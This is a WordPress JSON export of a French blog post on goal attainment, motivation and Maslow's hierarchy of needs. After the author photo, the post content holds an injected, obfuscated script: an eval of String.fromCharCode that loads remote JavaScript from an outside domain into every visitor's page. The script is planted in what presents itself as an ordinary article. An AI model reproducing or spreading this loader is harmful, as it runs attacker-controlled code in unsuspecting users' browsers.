{"id":181,"date":"2014-09-08T11:30:41","date_gmt":"2014-09-08T10:30:41","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=181"},"modified":"2017-04-29T12:57:18","modified_gmt":"2017-04-29T10:57:18","slug":"atteinte-des-objectifs-et-motivation","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/181","title":{"rendered":"Atteinte des objectifs et motivation"},"content":{"rendered":"<p>Que ce soit dans le monde des affaires, en milieu scolaire ou simplement dans la vie de tous les jours, l\u2019\u00eatre humain est tout le temps confront\u00e9 \u00e0 des chalenges \u00e0 relever, des objectifs \u00e0 atteindre.<\/p>\n<p>Pour atteindre un objectif\u00a0 trois conditions sont indispensables\u00a0:<\/p>\n<ol>\n<li>Le savoir faire\u00a0: qui repr\u00e9sente toute connaissance requise pour ex\u00e9cuter les taches \u00e0 r\u00e9aliser (ceci peut inclure les connaissances acquises par des \u00e9tudes universitaires ou bien une exp\u00e9rience acquise ou tout simplement une comp\u00e9tence inn\u00e9e ou un talent naturel.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>Le pouvoir faire\u00a0: qui concerne l\u2019aspect mat\u00e9riel et les conditions d\u2019ex\u00e9cution des taches, les exigences financi\u00e8res en un mot toute ressource financi\u00e8re, mat\u00e9rielle et humaine n\u00e9cessaire \u00e0 la bonne ex\u00e9cution des taches.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li>Le vouloir faire\u00a0: qui repr\u00e9sente la volont\u00e9 d\u2019atteindre les objectifs assign\u00e9s.<\/li>\n<\/ol>\n<p>La premi\u00e8re r\u00e8gle est que ces trois conditions doivent \u00eatre r\u00e9unies pour atteindre l\u2019objectif assign\u00e9, si l\u2019une d\u2019elles manque c\u2019est l\u2019\u00e9chec annonc\u00e9.<\/p>\n<p>Au sein des entreprises les responsables jouent tr\u00e8s souvent sur la condition n\u00b0 3, en essayant de motiver les employ\u00e9s de mani\u00e8re \u00e0 augmenter leur volont\u00e9 de r\u00e9aliser les taches qui leur sont assign\u00e9es. Ceci est intimement li\u00e9 aux besoins de l\u2019\u00eatre humain qui ont \u00e9t\u00e9 d\u00e9crits et classifi\u00e9s\u00a0 comme suit\u00a0:<\/p>\n<ol>\n<li>\u00c0 la base, les besoins physiologiques (tels que la faim, la soif)\u00a0;<\/li>\n<li>Ensuite, les besoins de s\u00e9curit\u00e9 et de protection (tels que le d\u00e9sir d&rsquo;un toit ou d&rsquo;une bonne assurance). Ces deux aspects assurent la survivance physique d&rsquo;une personne\u00a0;<\/li>\n<li>Puis viennent les besoins d&rsquo;appartenance, besoins sociaux qui refl\u00e8tent la volont\u00e9 de faire partie d&rsquo;une famille, d&rsquo;un groupe, d&rsquo;une tribu\u00a0;<\/li>\n<li>Ensuite arrivent les besoins d&rsquo;estime de soi (Ego, amour-propre) pour les besoins psychologiques\u00a0;<\/li>\n<li>Enfin, apparaissent au sommet de la hi\u00e9rarchie, les besoins d&rsquo;auto-accomplissement (qui renvoient au d\u00e9sir de se r\u00e9aliser soi-m\u00eame \u00e0 travers une \u0153uvre, un engagement).<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>Selon la cat\u00e9gorie de personnel\u00a0 a laquelle le manager est confront\u00e9, il peut agir sur l\u2019un ou l\u2019autre des besoins cit\u00e9s pour augmenter la motivation et donc la volont\u00e9 de r\u00e9ussir mais en tenant compte de deux r\u00e8gles essentielles.<\/p>\n<ol>\n<li>Aucun besoin de niveau sup\u00e9rieur ne peut \u00eatre atteint si le besoin de niveau inferieur n\u2019est pas satisfait.<\/li>\n<li>Un besoin satisfait ne motive plus.<\/li>\n<\/ol>\n<p>En effet, il ne sert \u00e0 rien d\u2019essayer de motiver une personne par l\u2019estime ou la satisfaction d\u2019un devoir accompli qu\u2019il pourrait avoir en r\u00e9alisant\u00a0 la tache qui lui est assign\u00e9e alors qu\u2019il n\u2019arrive pas encore \u00e0 subvenir correctement aux besoins \u00e9l\u00e9mentaires de sa famille (Nourriture, logement etc.\u2026)<\/p>\n<p><figure id=\"attachment_20\" aria-describedby=\"caption-attachment-20\" style=\"width: 170px\" class=\"wp-caption alignright\"><a href=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/05\/boubnia.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-20 size-full\" src=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/05\/boubnia.png\" alt=\"Mr Boubenia Consultant \u00e0 Pr\u00e9sences Int'l\" width=\"170\" height=\"130\" \/><\/a><figcaption id=\"caption-attachment-20\" class=\"wp-caption-text\"><center>Mr Boubenia<br \/> Consultant \u00e0 Pr\u00e9sences Int&rsquo;l<\/center><\/figcaption><\/figure><br \/>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Que ce soit dans le monde des affaires, en milieu scolaire ou simplement dans la vie de tous les jours, l\u2019\u00eatre humain est tout le temps confront\u00e9 \u00e0 des chalenges \u00e0 relever, des objectifs \u00e0 atteindre. Pour atteindre un objectif\u00a0 trois conditions sont indispensables\u00a0: Le savoir faire\u00a0: qui repr\u00e9sente toute connaissance requise pour ex\u00e9cuter les &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/181\"> <span class=\"screen-reader-text\">Atteinte des objectifs et motivation<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":20,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[117],"tags":[],"class_list":["post-181","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/181","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=181"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/181\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=181"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=181"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=181"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}